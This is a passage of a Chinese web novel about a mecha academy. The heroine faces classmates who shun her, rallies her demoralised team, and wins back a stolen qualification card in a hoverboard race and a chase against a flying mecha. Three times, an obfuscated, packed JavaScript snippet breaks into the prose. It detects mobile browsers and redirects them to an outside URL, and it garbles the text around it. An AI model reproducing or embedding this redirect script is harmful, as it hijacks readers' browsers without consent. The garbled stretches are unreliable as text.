沈静：“他瞎说的。” 说罢，她伸手一推小喇叭，加快脚步，显然不愿意和鸣星多说。 被王冠组打败后，他们算是彻底被排挤了。士阳早知道是这样的结局，叹了口气，安慰鸣星道：“星星，别管他们，你还有我们。” 她回手一指队友们。 边子奕没有反应。萨鹿沉浸在倒数第一的悲伤中，满脸幽怨。海微遥垂头缩肩，像个幽灵一样飘远，光速离开了他们的队伍。 士阳：“……” 她开始对两周后的团战失去信心了。 鸣星对士阳一笑，说道：“你们慢慢走，我有话和他们说。” 小喇叭和沈静找了个空位坐下，占了三个位置给点餐中的队友。小喇叭一落座又开始说话：“真是吓死我了！她刚才搭话我都不敢回。王冠那么讨厌她，要是我跟她玩的好，你说我们会不会被针对啊？” 沈静重重咳嗽了一声，手指悄悄一指。 小喇叭顺着看去，看到两桌外的王冠。 小喇叭：“……” 幸好他们五个人在聊着什么，根本没注意到他的碎嘴。 有人坐在他另一边的空位，问道：“这里有人吗？” “这边没有！随便坐——”小喇叭笑着回头，身子又一次僵成石像。 鸣星撑着下巴，笑眯眯地看着他，“你还没回答我。为什么五五开，小喇叭？” 聒噪如小喇叭，此时也唯有沉默。 他不吭声，鸣星也没追问，居然就这么自如地吃起饭来。裴发带着两个队友走来，见到她坐在这里，都是一愣。 两周后还有团队作战，这种混战很容易被强大的队伍带节奏，他们这种成绩平均，又不上不下的，最怕惹上麻烦。王冠队稍微针对一下，他们就抢不到第三名了。 沈静说道：“鸣星，我们队友回来了，你可以换个地方吗？我怕他们吵到你。” 她给了个台阶，识趣点的自己就走了。 “不吵，正好一起聊聊。”鸣星指着空座，对他们一笑，“坐呀。” 三人僵硬地坐下，一时沉默，裴发不时打量隔壁桌的王冠，生怕他一回头注意到这边。 沈静：“我们不是针对你，只是还想下次团战时争取下排名，现在想讨论战术，不太方便和你一块。” 鸣星说道：“战术是不理我，让王冠放你们一马吗？” 沈静没想到她会说的这么直接，一时也哽住了。 “有点难过。”鸣星叹了口气，看向小喇叭，“我还以为可以和你们聊聊天呢。” 小喇叭被她诚挚的目光一看，心里难受起来，他很想聊天，一堆话挤在心里，憋得难受。沈静手指轻轻敲了下他的手背，止住他的倾诉欲，冷淡地说：“我们没什么好聊的。” “好吧，我知道了。” 鸣星站起身，几人都松了口气，却见她高举右手，喊了一声：“王冠！” 王冠一听到她声音，神经质地一抖，半块肉掉进盘子里。他转头，只见鸣星在隔壁桌，笑盈盈地问他： “王冠，你有不想让大家理我这么坏吗？” 26. 争吵 附近安静了几秒，路过的无一不回头看了过来，就连外班的也竖着耳朵，悄悄关注。 王冠放下刀叉，倏地一抖衣领，站起身来，径直走向他们这桌。 他气势汹汹，眼神冰冷，桌上几人还以为他要发火，下意识向后一缩。 哪知他就这么坐在了鸣星身旁，微微侧头。 “我什么时候不让人理你了？”他冷哼一声，“都是同学，自然要互、相、关、照。” 托兰端着他的饭菜走来，他们队另三个人神情迷茫，不过也都一块坐过来了。 现在这里乌泱泱一大群人，却安静得只听得到餐具碰撞声。裴发已经汗流浃背，大气不敢喘，沈静一推眼镜，神情掩在厚厚的镜片之后。 王冠无比正常地吃起饭，看起来十分冷静，只在慢条斯理地切肉时，淡淡地问：“你什么时候能开机甲？” “不知道。”鸣星如实回答，“可能三天后，可能一年后，可能下辈子。” 王冠深呼吸的声音肉耳可闻。 他一叉子捅进肉里，“这样下去，团战时你们组还会是最后一名，不如我来指导下？” “你要怎么指导？” “不过是精神不稳定而已，不是大问题。跟我对决一次，不管你是晕过去还是自爆，我都能把你叫醒继续打。” “不要。”鸣星微笑道：“不想和你打。” 王冠动作一顿，“……为什么？” “你让大家不理我。” 王冠啪地放下叉子，目光在桌上所有人脸上扫视一番，问道：“你们不理她？” 裴发懵了，结巴道：“啊，没有啊……” “看到了么，没人故意冷落你，不要自作多情。”王冠的眼神冷冷地转回来，落在鸣星脸上，“你重新开上机甲的时候，所有人都会想要和你说话。” “我还没开上呢，你这不也说个不停？” 王冠：“……” 窒息的沉默中，所有人迅速地吃完了饭，周围的人都饶有兴趣地瞥过来看热闹，他们却只渴望赶紧离开。 王冠吃的很少，但也放下餐具，说道：“你那几个队友看着不会配合一个不能开机甲的人。如果再得了倒数第一，可别说我引导的，那只是你的无能罢了。” “嗯，我会好好努力的。” 鸣星站起来，忽然又俯下身去，在他耳边轻声道：“努力下次打爆你。” 王冠微微皱眉，忽然听得耳后一个响指，他又是一抖，比上次还剧烈，差点把盘子打翻。 他颇有几分狼狈地回头，只见鸣星双手插兜，悠然离去。 …… 从下午到晚上，最后四组一直在训练室做着加练。按照英弦的要求，他们还得交上一份复盘报告，总结输的原因。 加练一结束，几个组的队长立刻组织着成员开小会讨论，有的去了食堂，有的专门约了个会议室，路上就聊得热火朝天。 士阳见海微遥蹑手蹑脚地悄悄溜走，从后面扯了下他的领子，把他提溜回来，问道：“我们不开会吗？还得写复盘报告。” 海微遥：“交给鸣星写。” “我们还是讨论下吧？”士阳有些无奈，她也不指望这个小队多有团魂，但私下里连交流都没有，团战时一定会一塌糊涂。她不等海微遥拒绝，点开腕表，说道：“我来约会议室。” “……不用了。”海微遥小声道：“线上讨论吧。” 五人的小群里弹出一条消息来。 群聊（5） 海微遥：所有人讲一下自己的对决 海微遥：在群里 “要开始复盘了吗？”边子奕大汗淋漓地从机甲里跳出来，看到这条消息，站在一边认真思考起来，在对话框里敲敲打打。 鸣星做不了机甲训练，一直在门口吹风，看到消息走进训练室，也开始闷头按腕表。萨鹿神情恍惚地站在一边，沉浸在自己的倒数第一名中无法自拔。 五个人就这么站在一起，各自打字。 “……认真的吗？”士阳无语至极。 鸣星的消息先发出来了。 鸣星：我们先来讨论下队长的投降吧 海微遥小声道：“我要上厕所。”说罢，幽幽地飘到门外，还顺手带上了门。 士阳：“……他怎么回事，不愿意聊吗？” 她话音刚落，群里窜出来一长段话。 海微遥：我投不投降对战局没有任何影响。一开始所有人默认不主动向其他队发起任何挑战，就注定了我们是最后一名，一共得两分和三分没有区别。 海微遥：第一场，萨鹿完全没有正确的作战意识，相当于开局就放弃战斗，没什么好说的。 海微遥：第二场，边子奕发挥不错，但漏洞很多。因为对的是两个弱的才赢，如果对上托兰，80%概率输，对上王冠100%输。王冠会把你所有的套路都算计在内，布置陷阱，让你三招就死。 海微遥：我那一场，主要为了看王冠的打法。 海微遥：第四场，王冠心理弱势，自乱阵脚，这种取巧的招只能用一次，下次对上王冠我们还是输。 没一会，群里就被他刷屏，每一条都是狂喷，对自己轻轻放下，对队友重拳出击。 萨鹿眼神空洞，边子奕表情也不太好看，士阳更是胃一阵阵的疼，烦躁不已。 鸣星跑出门，从不知哪个角落揪出了海微遥，生拉硬拽扯到屋里，微笑道：“队长，这些话我们还是当面说吧？” 四人注视下，海微遥缩着肩膀，小声道：“……大家，打的挺好的。” “……”士阳血压飙升。 边子奕率先开了口，“你说我漏洞多，但我赢了，你输了。” 他灼灼的目光中，海微遥缩成一团，几乎要藏到鸣星身后去了，小声道：“我没必要赢。” 边子奕皱起眉，“不管你投降的理由是做不到还是不想做，反正你一定没有尽全力，放弃是不对的吧。”他转头对着其他几位，“我们应该一起努力，就算只多一分，大家的感受都不一样，未来也更有希望。是不是？” 萨鹿像是被针扎了一下，浑身一颤：“……但确实，没有用。” 边子奕：“你说什么？” “没有用。”萨鹿喃喃道：“我就算赢了那一分，也没有用。” 边子奕有些恼了，声音大了几分，“先赢了再说有没有用吧！” 萨鹿摇摇头，垂头道：“但是，海微遥说的没错。我们本来就只有四个战力，也不准备挑战别人，还被王冠盯上，再怎么拼命，都不可能……” “为什么要这么说？”边子奕打断她，“你们都不尽力，我的努力算什么？我努力赢的两分很可笑吗？” 他情绪激动，眼眶也红起来，“要是这样，下次我也随便打，团战我们也最后一名好了，既然你们都无所谓。” “是无所谓。”萨鹿声音干涩，“反正已经是这样了。” 边子奕说那话是等人反驳的，哪想到萨鹿就这么顺着说，一时火气上头，气恼道：“这样是哪样，倒数的样子吗？你可能习惯，但我不习惯！” 萨鹿脸色变得惨白，张了张嘴，一句话都说不出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497796|202583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “先别吵了。”士阳伸手搭住他们肩膀，两人唰地扭过头去，谁也不看谁。 士阳求助地看向鸣星，却见她坐在一边，撑着下巴，一副看戏姿态。 鸣星伸手一捅海微遥的肩膀：“队长，快说点什么。” “……”海微遥喉结滚了滚，艰难地说道：“大家，打的挺好的。” 士阳：“……” 这小队她一分钟都待不下去了。 “想赢吗？”僵硬的气氛中，鸣星忽然再次开口。 她的目光从所有人脸上扫过，一时没人回应。海微遥死死低着头，萨鹿脸上唯有绝望，赢这个话题和她向来没关系。 士阳轻声道：“我觉得……” “朝着更高的方向走，是自然而然的事吧。”边子奕打断了她。 “不管只是为了变得更好，还是为了资源。”他顿了顿，握紧拳头，坚定地说：“不知道你们怎么想，但我一定要通过二次考试。” 士阳喉咙一紧，重重地点了点头。 他们本就是人群的佼佼者，谁又真甘心落于人后？ 谁想被排挤、排最后、输了受罚、得不到资源。 “我也想……通过。”萨鹿轻声道。她垂下头去，神情被埋没在长发后，“如果不能留在龙羿，我会，很想死。” 语气轻飘如烟，好像那哀怨随时都会散去，消逝得无影无踪。只是她的身子在抖，像是裹着凛冽的风雪向前行走的求生者。她是这里最可能被淘汰的人，无论是能力上，还是心理上。而当她连留在龙羿都做不到后，她的人生，也彻底地毁灭了。 她优秀到极致的同学们会一直前进，成为她再也无法越过的高墙。 “好，那么就赢。” 一只手搭在萨鹿的肩膀上。她猛地一颤，只听鸣星坚定地说道：“下次，我们必然是第一名。” 几人都是一愣，这话实在过于莫名其妙，就连边子奕都觉得离谱。 “因为我们很强，但他们以为我们很弱。”鸣星微笑道：“最后一名就是我们最好的掩护。” 士阳眼里再次燃起了希望，虽然其他三人都不信鸣星说的，但她知道鸣星的厉害所在。她认真道：“我们接下来要做什么？” “做自己。”鸣星抬手，一一指着他们，“可以努力，可以放弃，可以随便打。只要继续做自己，我们就一、定、会、赢。” 她说得过于自信，萨鹿呆呆地看着她，边子奕也有些动摇了，问：“真的吗？我们的战术是什么？” 海微遥小声道：“……你都开不了机甲。” “谁说我开不了？” 鸣星这话一出，几人脸色都是一变。边子奕尤为在意，“你其实能战斗吗？” “这不重要，开不了机甲就是我的做自己。”鸣星露出一个坦然的笑，“战术是，出其不意。” …… 回宿舍的路上，士阳频频看向鸣星，忍不住问：“星星，开不了机甲，其实是你的战术吗？” “当然不是。王冠都那么挑事了，我要是能开，直接就和他打了。” “那你刚才说的……” 鸣星步伐轻快：“安慰他们而已。” 士阳：“……” “但是只要他们信了，我们就会赢。” “……为什么？” 鸣星抬起头，目光看向远方。那座巨大的银龙昂首挺胸，在蓝渊巨目的注视中闪闪发光，与周围的群星交相辉映，仿佛下一秒就会冲向浩淼的宇宙当中。 她轻声道：“因为他们已经想象到，我们靠着做自己赢了的画面了。” 27. 飞刃初筛&对赌 飞刃角逐的报名点设在废都立体迷宫的入口广场。 周六下午，广场人山人海，有来报名的选手，凑热闹的路人，卖炸串的小商贩，熙熙攘攘。 排队期间，鸣星把广场上能看的东西看了个遍，尤其是招聘信息，可惜都不收在校生。她百无聊赖地排了半个小时，终于进了报名大厅。 这里光线明亮，像是保龄球场，一条条百米测速通道一字排开，悬浮的全息屏实时滚动着报名者的成绩，每隔几秒就刷新一次。 飞刃的报名初筛规则是：百米测速，限时五分钟刷新记录，每场速度最高的三位能拿到报名卡。 能不能得到名额，基本取决于随机分配的场次选手水平。去年最高记录是一个横空出世的选手“奥”，3秒31。当年所有人都猜他是冠军预备，结果他赛前训练受伤，没能参加比赛。 鸣星前面的十多号人都是这一轮的，边往里走，边互相聊起来。 “你听说了没，奥今年也报名了。” “为啥？他去年受伤后不是从飞板转飞行机了吗，而且转的很成功，怎么不去参加飞行比赛，和我们抢。” “他去年没比上，大概对冠军有执念吧。他不是加入了涡流吗，好板子少不了，今年冠军估计是他。” “他加涡流干什么，那流氓组织。” “给的多呗，还能因为什么——我去！” 选手忽然一声惊呼，抬手指着全息屏，“奥怎么在我们这轮！” 周围几人都是倒吸一口冷气。 他们齐齐四周看去，很快从人群中捕捉到奥的身影——戴着护目镜和口罩，穿一身黑的瘦削男人。他去年也是戴口罩来的，眼神冷淡地直落在赛道上，不与其他人多对视一眼，仿佛不屑一顾。 听到周围窸窸窣窣的议论声，他不耐烦地抬了下眼，只这么草草一看，目光穿透层层人群，看到那名黑手套女孩。 他拿飞板的动作一顿。 登记处，检录员在屏幕前敲敲打打，“ID？” “启明星。” “自带飞板吗？” “没有，租。”鸣星指了指架子最低下那台，“我要最便宜的那个。” 检录员看着她指的那个入门款，安全稳当的厚板，适合新人，但速度上差很多。 这可是竞速测试。 “……你确定？” “就这个。” 鸣星把钱打过去，接过板子，走到她的赛道，周围几位选手本来都在悄悄打量着奥，余光瞥见她的板子，都震惊地看了过来。 鸣星朝他们笑了笑，踩上入门板。 滴—— 铃响的瞬间，所有人如炮弹一般射了出去。几秒后，屏幕立刻刷新出这一轮的成绩。 最高是奥，3秒59，最低是启明星，5秒13。 十三名选手很快回到起点，开始刷成绩。几个检录员盯着记录看，很快，他们的注意都集中在奥的纪录上。 3秒48、3秒40、3秒39…… 所有人的成绩都上下起伏，只有他在不断刷新纪录。大概第七次后，他的成绩稳定在3秒35，打破不了去年自己的纪录，但在这群选手当中也遥遥领先。 奥站在起点，整理被风折翻的领口。他踩在板上，但没再刷成绩，目光紧紧锁定在三个赛道以外的那名选手身上。 启明星。 她刚刚飞出的纪录是4秒49，排名第九。这成绩……实在说不上亮眼。 虽然她用的是入门板。 奥正要收回目光，眉头忽然皱了起来。 启明星站在起点，做出了一个翘板头的动作。这是直道测速，她要干什么？ 唰—— 板子狠狠压进更低的位置，巨大的悬浮磁力将她猛地弹开，她却没有左右摇晃，反而一个大跳，跃在空中。再落地时，猛冲向终点线—— 4秒30，排名第六。 奥猛地瞪大双眼。这成绩还是比他差远了，但突破速度过于惊人，技巧也是难以想象。 压低到那种危险的程度，一瞬间不稳定的巨大弹力足以把一般人弹到其他赛道上去。 启明星回到起点，像只小狮子一样抖抖脑袋，从前台借了个头盔。选手们无暇他顾，但几个检录员都注意到了她。她没在意周围人的视线，边系扣子，边抬头看着悬浮屏，目光遥遥打来，差点对上他的视线。 奥不经意地攥起拳，视线紧跟着她的板身。 板头下压，俯冲，起跳。还能再快么？不，已经是极限了，就算有起跳助力，也无法突破厚板本身的限制—— 启明星又一次跃向空中！ 4秒15。 短短四秒内，她起跳了两次，也就加速了两次。 奥猛地一颤，周围也有选手看了过来，见到她的成绩都是大惊失色，这最后一名，不知什么时候已经挤进第五了。 还剩一分钟时间。 启明星悠悠地回到起点。 4秒10。 4秒05。 4秒01。 3秒50，第三名！ 她最开始的几次起跳仿佛只是在熟悉赛道的磁场分布，现如今俨然彻底掌握，每次重飞，都有巨大的突破。 奥的第一名十分稳妥，但那紧追不舍的纪录就像追着咬的毒蛇，逼得他喉咙发紧。 他唰地收回目光，俯身前冲。 余光里，那道身影高高地跃在空中，宛如一只飞鸟，轻盈地张开双臂，下冲时衣角被风扬起，仿佛鸟纤长的尾羽。他几乎与她同时冲到了终点线。 叮—— 测试终止。 全息屏幕上滚出最终的成绩。 奥，3秒38，第一名。 启明星，3秒39，第二名。 检录员惊掉了下巴，他不是没见过黑马，但没见过用入门板跑出这成绩的，也没见过五分钟内从5秒突破到3秒的。 这还是人类吗？ 鸣星将头盔摘下，轻轻放回前台，抹去额头的汗水。众目睽睽之中，她回身，似有些羞赧似的微微一笑，说道：“我是末星的。” 末星，那个丢满机械废料，仪表经常失灵，磁场无比混乱的垃圾星，飞板的地狱环境。 这星球一般不出人，一出就是狠人，其他选手认命地叹了口气。 检录员看她的眼神完全变了，满是佩服，他郑重地递过去一张卡片，说道：“这是资格芯片，保管好。” 鸣星把卡装进腕表里，她刚要走，检录员又扯住她袖子，说道：“我看你没有比赛记录，还是新人吧。” 鸣星点头。他微微靠近，压低了声音，“小心点，这卡只在比赛当天绑定，在那之前都能转卖。” …… 鸣星刚一出门，身后什么东西咔地响了一声，她的腕表表带忽然断裂。 一条黑影自身边闪过，下一秒，她的腕表就被捏在那人的掌心。 奥踩在飞板上，提溜着腕表举到她面前：“又见面了。” “我们认识？”鸣星顿了顿，“……你的声音有点熟悉。” 她知道这是刚才选手们讨论的那个奥，不过，看脸实在没什么印象。 “飞行机。”奥简短地提示道。 “哦哦，你是那个！那个那个——”鸣星高兴地一比划，“翅根！” 奥：“……” “翅根坏了的飞行机师。”鸣星把后半句补充完整，又道：“但你抢我资格卡干什么，你不也有吗？” “谁叫你这么没有防备。人家也提醒你了吧，还放腕表里。”奥嗤笑一声，“你知道这东西能卖多少钱吗？” “多少？” “很多。” “……”鸣星向他后面探头看，“你的抢劫同伙呢，来了吗？” 奥眉头一皱，“关你什么事？” “只有你自己，应该抢不走吧？”鸣星微笑道：“毕竟之前三个人都没打过我一个。” 这嚣张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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奥眉头一皱，正要发作，小六忽地把红板扔下来，紧跟着跳下高墙，双脚正正好好踩在飞板上，一道影子般窜到鸣星眼前。 她敲敲烟身，上下打量鸣星一番，说道：“你就是直道测速里起跳的新人吧。末星的那个。” 鸣星一挑眉：“我都这么有名了？” “嗯哼。末星玩飞板的很少啊，不是很容易摔死吗？” “我很幸运，现在还活着。” “那你应该有点东西。”小六勾唇一笑，“比吧。我做见证人。” …… 废都立体迷宫门口，鸣星抱着租来的入门板站定。另一边，涡流的三人踩着飞板而来，比起上次，更多了些改装的模块。这地方飞板不限速，改成什么样都行。 小六可能宣传了一番，本来在废都里练飞板的玩家都出来围观，有讨论的，拍视频的，还有瞎起哄吹口哨的，人不算多，但气氛炒得很热。 “涡流还能干不过个新人，这么多年不是白混了。” “启明星，干死他们！” “入门板一打三，玩呢？” “是一打四，老奥还没出来呢，说是要来点狠的。” 小六丢一个黑色头盔到鸣星怀里，“脸遮好了，赢了再露脸，输了也不丢人。” 鸣星把头盔风镜压下去，拉锁拉到最高，收紧护膝护腕，开始热身。 骷髅把鞭子甩到地上，不耐地哼了一声。这么多人围观，他们不好上真枪实弹，还是之前那些普通武器。不过，真正的杀招还在后面。 广场那边，一道纤长的影子率先抵达，影子的主人踏光而来。那折翼的隼翅膀已经恢复如初，随着机主的步伐轻轻震动，羽片刷刷作响。 铮的一声，渊隼竖起翅膀，锋利的尖刺直指鸣星的咽喉。 “不是要说抱歉吗？”奥冰冷的声音自机身内响起：“亲自向它说吧，启明星。” 28. 抢卡战-渊隼 废都立体迷宫是附近最热门的飞板练习场地，废墟改造而成，环境十分狂野。站在门口，可以看到那些塌了一半的高楼残骸，楼体上爬满藤蔓，四处支着锈蚀的钢架。 前面的断墙迷宫区看似路径复杂，实则磁场稳定，新人友好。 中间段的管道区猛然拔高，管道交错，在这里能利用复杂的磁场把速度提到很高，同样也会一不小心摔进管道缝隙中。 最后段的环形高跑区设置了一圈圈环形赛道，遍布障碍物，只有最高阶的飞板玩家才敢在这练习高度和速度。在这地方玩板摔死的，连保险都不赔。 鸣星报名前想着顺便练习下，顺手查了废都的地形，有个大概印象。但她毕竟是第一次来，而对面四个人不知在这里练过多少次，说不定每条管道的走向都牢记于心。 四对一，涡流主场，飞行机对飞板。 这不是一场公平的比赛，这是他们单方面的围剿。 鸣星的目光在他们的装备上一一扫过，涡流的三人换了更专业的比赛板，刀疤强化了板身厚度，得以更好地撞击，骷髅和绿毛则换了轻薄的速度板，三人头上戴着联络设备，看来是要战术配合。 奥的渊隼，则是在这狭窄环境也可以穿梭、旋转的小型飞行机。锋利的翅尖是他的武器，可以让他在敌人身边掠过时取其性命。 而她，抱着个稳定、安全但毫无特色的入门板，没有任何武器。 但没关系。鸣星收回目光，微微一笑。她不需要打败他们每个人，她只需要抢到那张卡而已。 骷髅滑翔到废都入口，举起鸣星的腕表。 “来抢吧，小麻雀——” 骷髅猛地蹿进废都里。 鸣星下一瞬就跟了上去，死咬在后，半步不离。骷髅斜睨她一眼，板子加速，在断墙间穿梭。 鸣星板子压得极低，被强磁场猛地弹出，一个大跳飞到空中。她腾空翻转，身影在空中画出半个圆弧，从骷髅的头顶掠过—— 直接超了过去。 骷髅紧盯着她翻转的弧线，嘴角露出一个冷笑。技巧很炫，可惜，这是选手们才爱玩的花招，街头干架的从来不用。 倒吊着悬在空中的那一秒，就是破绽全露，最危险的时刻。 她按了下通讯设备，绿毛从半墙后冲出来，对准鸣星的背影，扣动扳机。 浓烟猛然炸开。 鸣星眼睫一颤。绿毛枪不稳，于是这次换成了烟雾弹，这是她没想到的。 骷髅的长鞭如蛇一般缠上来，直击鸣星腰身，转瞬之间就牢牢地缠了几圈。下一秒，背后两道寒光闪动，刀疤抡着双刀猛冲而来。 他的厚板重重地撞上来，另一边，骷髅霎时收紧鞭子。 下撞上拉，他们要把她从板子上弄下来！ 鸣星双手扯住鞭子，脚下猛地一蹬，顺着骷髅收势方向而去。 咚！ 她蹬出的入门板失去控制，与冲上来的刀疤撞出一声巨响，两个板子缠在一起，在空中打转。 骷髅却全然顾不上同伙，她仰头看着空中那道降落的身影，瞪大了眼—— 为了扯下鸣星，她竭尽全力地拉扯，然而鸣星顺势而来，竟是从天而降，落向她的身上！ 又一声巨响后，鸣星踩住骷髅的板子，松开了鞭子，猛地抱住她的肩膀，看着她的脸轻快地说：“哈喽。” 板子猛地承载两人的重量，迅速下坠，眼看就要砸向地面。 骷髅惊慌失措，差点尖叫出来，又听鸣星说道：“配合一下。” 鸣星踢开她的右脚，踩中激活区，板子在落地之前忽然上提，向刀疤飞去！ 骷髅想把鸣星推下板子，然而几拳过去，都被轻松化解。鸣星的双手像活藤一样缠着她，叫她打也打不了，挣也挣不开。 她是用长鞭的，本来就最恨近战。 “打他。”鸣星抬手一指刀疤，声音贴着她耳边响起，“不然就把你丢下去。” 刀疤双刀立起，凶狠地看过来。他恨得要命，然而敌人和队友抱在一起，根本无法进攻。 然而下一秒，骷髅的长鞭卷向了他！ “你！”刀疤脸色大变。他担心误伤队友，队友却把武器对准了他！ 砰砰砰！ 接连三声枪响，两弹打空，一弹弹开了骷髅的长鞭。绿毛刚刚紧急换了子弹，端枪的手还在颤抖。 他深吸一口气，枪口对准了抱在一起的两人。 “废物，别开枪！”骷髅尖叫道：“你根本瞄不准！” “我瞄得准、我瞄得准——”绿毛闭上眼，大声道：“我来救你了！” “我草你别闭眼打啊！！”骷髅脸色煞白。 鸣星掏进骷髅的口袋，提出腕表来，她在插口一摸，没摸到资格卡，说道：“卡在哪？给你三个数。三、二——” 她倒数着，调转了个方向，让骷髅站在前面，直面绿毛的枪口。 “管道区老奥手里！” 砰！ 子弹飞驰而来，被长鞭甩开了。 几人都瞪大了眼，呆愣在原地。 鸣星刚刚握着骷髅的手臂，甩出她的鞭子，弹开了那一击。 这已经不是经验和技术能解释的事了，她的战斗直觉，远超想象。 鸣星自己竟也是一愣。 她飞到低处，把骷髅推下去。骷髅摔到墙上，疼得龇牙，怒骂道：“疯子——” “你的板很适合我。”鸣星说罢，转身飞向深处。 她用入门板时几人都追不上她，现在换了速度板，涡流的三人更是只能看着她的背影迅速消失，咬牙切齿，毫无他法。 鸣星飞到高处，疾风卷起她的发尾，耳边呼啦啦地响，她望着远方，巨目之下，管道交错，墙体高低错落。对于飞行机甲来说，半墙迷宫还是太直白了，错综复杂的管道区才是奥的主场。 渊隼站在高高的管道上，视窗直对着她。 梦寐以求的飞行机对手就在眼前，鸣星的神情却有些恍惚。 刚刚她没有意识到那是子弹，反而下意识当做了敌人的拳脚攻击，而她本能的反击，也不过是英弦教过的基础一招。 英弦毁了她的控制力，也让她的身体彻底记住了战斗本能。 “你确实有点东西。”奥说道。 下一秒，渊隼张开双翅，朝她疾驶而来。 他的速度太快，根本不是飞板能触及的强度，几乎一眨眼就要冲到脸上。 鸣星立刻下潜，冲进管道之间，这里好歹还有掩体和障碍物，可以绕上几分钟。 然而，渊隼的灵活度远超她的预期。 她从管道缝隙中穿梭，渊隼就收缩翅膀，侧身挤入，就和真正的鸟一样，自由地飞驰。 鸣星一边躲闪，一边痴痴地望着他，不肯转开目光。他怎么能这么灵活？厚重的机甲被他穿成了轻薄的衣服，风不是阻力，反而是动力，狭窄的空间成了炫技的道具，这方天地成了他的舞台。 如果她开上飞行机，也会这样自由吗？ 明明是她要从他手里抢卡，现在却是他穷追不舍，那翅尾的尖刺时刻反着蓝光，像一把悬在她头顶的剑，随时刺穿她的身体。 转向、绕圈、跳跃、拉高、俯冲—— 鸣星能用的招都用了个遍，和渊隼的距离却只是越来越近。 他追上来了。 太元缓缓西坠，云朵烧得火红，隔着几根映着橙光的管道，两人并肩前行。这里空间狭窄，只有前进和后退两条路，到达拐角的尽头时，他们就会相遇。 奥：“怎么不用共振？” 鸣星没有忘川，用共振等于自杀式攻击。 不过，她还是把手搭在了管子上。 渊隼下意识急停，生怕被震动波扰乱飞行的节奏，然而，轰鸣声却没有响起。 这里安静得只能听见引擎声。 鸣星身子一颤，收回了手，垂下的目光竟有几分落寞。 机械手没有反应。 “……你。”奥语气有些恼怒，他等不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497798|202583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及在前方相遇，翅膀抬起，唰地一声划开管道！ 鸣星盯着他急躁的动作，忽然想到，他以为她在诈他。 而他确实怕。 她看着这只愤怒的隼从那狭窄的缝隙中如何穿梭而来——渊隼自由灵巧地旋转时，几枚羽片在转动。 尖刺穿透最后一条管子，从她的手臂下方穿过，咔哒一声，刺穿她的衣袖，将她钉在管子上。 飞板引擎声轻轻地响，她悬浮在低空，动弹不得。另一枚尖刺横在她的颈动脉前，再近一寸，就能刺穿她的脖颈。 鸣星表情并无变化，只是微微侧了头，看着那些精巧的羽片，抬手抚了上去。 上次走的匆忙，只来得及顺手一摸，没能细细观看。此刻她认真地打量、触摸。 就是这些羽片助他飞到天上，让他成为了自由自在的隼。 “奥，你飞得真好。就像真正的鸟儿一样。” 奥沉默地看着她。 生死攸关的时刻，她却专注地望着每一寸羽片，那样诚挚地感慨。他心中升起一股怪异的感受。 但他也隐隐地察觉到了一丝不对劲。 他在她身上细细审视，试图找到那丝不妙预感的来源。最后，视线落在她的右手上——黑色的手套捏着腕表表带，手指失控似地一抽一抽。 忽然，表带颤抖起来，几节金属咔哒断裂，落在她掌心里。 共振。 她振这个做什么？ 一阵烈风吹过，羽片敏捷地转着方向，调节平衡。鸣星转回了头，抬起右手，打开了头盔前风镜。 风猛然灌入，撩起她额前的碎发。那双黑亮的眼睛再无遮挡，直直望过来，穿过渊隼的单向视窗，精准地对上了奥的视线。 奥喉结滚动了下。 她的右手轻轻放下，那缓慢而又短暂的一秒钟，手指忽然一抖，一截金属表带向前投去，落进羽片后方。 ——渊隼猛然晃动，尖刺唰地上抬，擦着她的耳边划过！ 那一瞬间，奥的心跳提到喉咙尖。 渊隼不同于其他飞行机，主要靠羽片的转动调整方向，尤其是风起时。一个卡住的羽片，会瞬间打破他原有的平衡。 那本来并不会影响太多。 但，他刚刚差点划穿她的脸！ 奥下意识向后退去，让尖刺远离她的身体，这下只顾撤离，张开的双翅铮的一声卡在管道的缝隙里。他一怔，试图转动，然而这靠尖刺劈开的缝隙过于狭窄，将他死死地卡在里面。 鸣星飞到他面前，看那羽片忽闪忽闪，仿佛鸟气得发鼓的胸脯。 她摸着他的翅膀，笑容前所未有的明亮，眼睛都弯起来：“奥，我也想开飞行机。能借我试下吗？” “……” “我的卡在哪？” “……” “你不说我就只能自己找了。可以让我拆了它吗？” “……滚啊。”奥愠怒道。 鸣星的右手伸了过来，贴在视窗上，轰轰两声，视窗震出一条微小的缝隙。 “……给你卡，别乱动！”奥低喊一声，按了按钮。视窗缓缓下降，露出他的脸来。 他抬起头，下半张脸藏在口罩后。粗眉几乎压在眼眶上，幽蓝的眼宛如不见底的深潭，只是一双眼就尽显凶意。 鸣星伸手，他将资格卡狠狠拍到她的手里。 鸣星却不走开，笑了一声，问道：“可以让我看看你的脸吗？” 奥宽厚的胸膛猛地起伏两下，像是差点没气背过去。 “开玩笑——” “可以。” 鸣星一愣，“你说可以，我又不想看了。” 奥：“……” 